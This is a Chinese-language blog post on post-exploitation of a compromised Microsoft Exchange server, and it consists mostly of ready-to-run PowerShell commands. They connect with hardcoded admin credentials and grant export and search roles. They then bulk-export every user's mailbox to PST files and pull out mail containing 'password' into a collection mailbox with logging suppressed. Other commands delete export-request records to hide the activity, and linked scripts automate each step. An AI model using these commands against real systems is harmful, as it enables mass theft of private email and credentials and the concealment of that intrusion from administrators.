前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Exchange邮箱服务器后利用

Exchange邮箱服务器后利用

作者头像
谢公子
发布2022-01-20 16:09:06
2.9K0
发布2022-01-20 16:09:06
举报
文章被收录于专栏:谢公子学安全谢公子学安全

Exchange邮箱服务器后利用

目录

使用PSSession连接Exchange服务器管理邮件 导出邮件 导出所有用户的所有邮件 导出指定用户的所有邮件 筛选导出邮件 导出请求记录 使用powershell脚本导出邮件 导出指定用户的所有邮件 导出所有用户的所有邮件 搜索邮件 搜索邮件的常用命令 使用powershell脚本搜索 在Exchange服务器上直接管理邮件 导出邮件 导出所有用户的所有邮件 导出指定用户的所有邮件 使用powershell脚本导出邮件 搜索邮件 搜索邮件的常用命令 使用powershell脚本搜索

作者:谢公子 @深蓝攻防实验室

当我们拿到了Exchange邮箱服务器权限后,我们可以进行进一步的利用。比如导出所有用户或指定用户的邮件、搜索特定用户或所有用户的敏感邮件等等。

使用PSSession连接Exchange服务器管理邮件

首先使用PSSession连接Exchange服务器

#使用PSSession连接Exchange服务器

$User = "xie\administrator"

$Pass = ConvertTo-SecureString -AsPlainText P@ssword1234 -Force

$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass

$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://mail.xie.com/PowerShell/ -Authentication Kerberos -Credential $Credential

Import-PSSession $Session -AllowClobber

#查看所有用户邮箱地址

Get-Mailbox

#查看PSSession

Get-PSSession

#断开PSSession

Remove-PSSession $Session

导出邮件

在使用PSSession连接Exchange服务器后,执行以下操作导出邮件 1. 将用户添加到角色组”Mailbox Import Export” 2. 重新启动Powershell否则无法使用命令`New-MailboxexportRequest` 3. 导出邮件,导出的文件格式后缀为 .pst,可以用 outlook打开 将用户从角色组”Mailbox Import Export” 添加、移除

#将用户hack添加到Mailbox Import Export组

New-ManagementRoleAssignment –Role "Mailbox Import Export" –User administrator

#查看Mailbox Import Export组内的用户

Get-ManagementRoleAssignment –Role "Mailbox Import Export"|fl user

#将用户hack从Mailbox Import Export组移除

Remove-ManagementRoleAssignment -Identity "Mailbox Import Export-administrator

" -Confirm:$false

导出所有用户的所有邮件

导出所有用户的所有邮件到 C:\users\public\ 目录下

Get-Mailbox -OrganizationalUnit Users -Resultsize unlimited |%{New-MailboxexportRequest -mailbox $_.name -FilePath ("\\localhost\c$\users\public\"+($_.name)+".pst") -CompletedRequestAgeLimit 0 }

导出指定用户的所有邮件

导出指定administrator用户的所有邮件到 C:\users\public\ 目录下

$Username = "administrator" New-MailboxexportRequest -mailbox $Username -FilePath ("\\localhost\c$\users\public\"+$Username+".pst") -CompletedRequestAgeLimit 0

筛选导出邮件

筛选出指定用户的administrator中包含pass的邮件,保存到Exchange服务器的c:\users\public\目录下

$User = "administrator"

New-MailboxexportRequest -mailbox $User -ContentFilter {(body -like "*密码*")} -FilePath ("\\localhost\c$\users\public\"+$User+".pst") -CompletedRequestAgeLimit 0

导出请求记录

导出后会自动保存导出请求的记录,默认为30天,如果不想保存导出请求,可以加上参数

-CompletedRequestAgeLimit 0

其他关于导出请求记录命令

#查看邮件导出请求

Get-MailboxExportRequest

#删除所有导出请求

Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false

#删除某个导出请求

Remove-MailboxExportRequest -Identity 'xie.com/Users/hack\MailboxExport' -Confirm:$false

使用powershell脚本导出邮件

该powershell脚本作者:[3gstudent] https://3gstudent.github.io

地址为:https://github.com/3gstudent/Homework-of-Powershell/blob/master/UsePSSessionToExportMailfromExchange.ps1

该脚本流程如下: 1. 使用PSSession连接到Exchange服务器 2. 判断使用的用户是否被加入到角色组”Mailbox Import Export” 如果未被添加,需要添加用户 3. 导出邮件并保存至Exchange服务器的c:\users\public ,格式为pst文件 4. 如果新添加了用户,那么会将用户移除角色组”Mailbox Import Export” 5. 清除PSSession 对脚本进行了简单的修改,使用命令如下:

导出指定用户的所有邮件

import-module .\UsePSSessionToExportMailfromExchange.ps1

UsePSSessionToExportMailfromExchange -User "administrator" -Password "P@ssword1234" -MailBox "administrator" -ExportPath "\\localhost\c$\users\public\" -ConnectionUri "http://mail.xie.com/PowerShell/"

导出所有用户的所有邮件

Import-Module .\UsePSSessionToExportAllUserMailfromExchange.ps1

UsePSSessionToExportMailfromExchange -User "administrator" -Password "P@ssword1234" -ExportPath "\\localhost\c$\users\public\" -ConnectionUri "http://mail.xie.com/PowerShell/"

目前该功能已经集成到插件中

搜索邮件

搜索邮件的常用命令

基本流程同导出邮件类似,但是区别在于角色组`"Mailbox Import Export"`需要更换成`"Mailbox Search"`

#使用PSSession连接Exchange服务器

$User = "xie\administrator"

$Pass = ConvertTo-SecureString -AsPlainText P@ssword1234 -Force

$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass

$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://mail.xie.com/PowerShell/ -Authentication Kerberos -Credential $Credential

Import-PSSession $Session -AllowClobber

#将用户添加到角色组”Mailbox Search”

New-ManagementRoleAssignment –Role "Mailbox Search" –User administrator

#搜索所有包含单词pass的邮件并保存到用户test2的outAll文件夹

Get-Mailbox|Search-Mailbox -SearchQuery `"*pass*`" -TargetMailbox "test" -TargetFolder "outAll" -LogLevel Suppress| Out-Null

#搜索指定用户administrator中包含单词pass的邮件并保存到用户test的out文件夹

Search-Mailbox -Identity "administrator" -SearchQuery `"*pass*`" -TargetMailbox "test" -TargetFolder "out" -LogLevel Suppress| Out-Null

登录test用户邮箱,即可看到out和outAll收件箱。

使用powershell脚本搜索

该powershell脚本作者:[3gstudent] https://3gstudent.github.io

地址为:https://github.com/3gstudent/Homework-of-Powershell/blob/master/UsePSSessionToSearchMailfromExchange.ps1 搜索所有用户的邮件中包含单词pass的邮件并保存到用户test的outAll文件夹:

UsePSSessionToSearchMailfromExchange -User "administrator" -Password "P@ssword1234" -MailBox "All" -ConnectionUri "http://mail.xie.com/PowerShell/" -Filter `"*pass*`" -TargetMailbox "test" -TargetFolder "outAll"

搜索指定用户administrator中包含单词pass的邮件并保存到用户test的out文件夹:

UsePSSessionToSearchMailfromExchange -User "administrator" -Password "P@ssword1234" -MailBox "administrator" -ConnectionUri "http://mail.xie.com/PowerShell/" -Filter `"*pass*`" -TargetMailbox "test" -TargetFolder "out"

目前该功能已经集成到插件中

在Exchange服务器上直接管理邮件

添加管理单元,不同Exchange版本对应的管理单元名称不同:

#Exchange 2007

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin;

#Exchange 2010

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010;

#Exchange 2013 & 2016:

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;

#获取所有用户邮箱(默认显示1000个)

Get-Mailbox

#获取所有用户邮箱(加上-ResultSize参数,则显示所有)

Get-Mailbox -ResultSize unlimited

#只显示所有用户邮箱Name自段

Get-Mailbox|fl Name

#获得所有邮箱的信息,包括邮件数和上次访问邮箱的时间

Get-Mailbox | Get-MailboxStatistics

#获得所有OU

Get-OrganizationalUnit

#查询指定用户指定时间起发送邮件的记录

Get-MessageTrackingLog -EventID send -Start "01/11/2019 09:00:00" -Sender "test@xie.com"

导出邮件

导出所有用户的所有邮件

导出所有用户的邮件,保存到Exchange服务器的c:\users\public\ 目录:

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;

Get-Mailbox | %{New-MailboxexportRequest -mailbox $_.name -FilePath ("\\localhost\c$\users\public\"+($_.name)+".pst")}

导出指定用户的所有邮件

导出指定用户administrator的邮件,保存到Exchange服务器的c:\users\public\ 目录:

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;

$User = "administrator"

New-MailboxexportRequest -mailbox $User -FilePath ("\\localhost\c$\users\public\"+$User+".pst")

使用powershell脚本导出邮件

该powershell脚本作者:[3gstudent] https://3gstudent.github.io

地址为:https://github.com/3gstudent/Homework-of-Powershell/blob/master/DirectExportMailfromExchange.ps1

使用时需要指定Exchange版本

Import-module DirectExportMailfromExchange.ps1

DirectExportMailfromExchange -MailBox "administrator" -ExportPath "\\localhost\c$\users\public\" -Filter "{`"(body -like `"*pass*`")`"}" -Version 2016

搜索邮件

搜索邮件的常用命令

#枚举所有邮箱用户,显示包含关键词pass的邮件的数量

Get-Mailbox|Search-Mailbox -SearchQuery `"*pass*`" -EstimateResultOnly

#搜索邮箱用户test,显示包含关键词pass的邮件的数量

Search-Mailbox -Identity test -SearchQuery `"*pass*`" -EstimateResultOnly

#枚举所有邮箱用户,导出包含关键词pass的邮件至用户test的文件夹out中(不保存日志)

Get-Mailbox|Search-Mailbox -SearchQuery `"*pass*`" -TargetMailbox "test" -TargetFolder "outall" -LogLevel Suppress

#搜索邮箱用户test,导出包含关键词pass的邮件至用户test的文件夹out中(不保存日志)

Search-Mailbox -Identity administrator -SearchQuery `"*pass*`" -TargetMailbox "test" -TargetFolder "out" -LogLevel Suppress

使用powershell脚本搜索

该powershell脚本作者:[3gstudent] https://3gstudent.github.io

地址为:https://github.com/3gstudent/Homework-of-Powershell/blob/master/DirectSearchMailfromExchange.ps1

搜索指定用户administrator中包含单词pass的邮件并保存到用户test的out文件夹:

DirectSearchMailfromExchange -MailBox "administrator" -Filter `"*pass*`" -TargetMailbox "test" -TargetFolder "out2" -Version 2016

搜索所有包含单词pass的邮件并保存到用户test的outAll文件夹:

DirectSearchMailfromExchange -MailBox "All" -Filter `"*pass*`" -TargetMailbox "test" -TargetFolder "outAll" -Version 2016

参考:https://3gstudent.github.io/渗透基础-从Exchange服务器上搜索和导出邮件

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-07-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档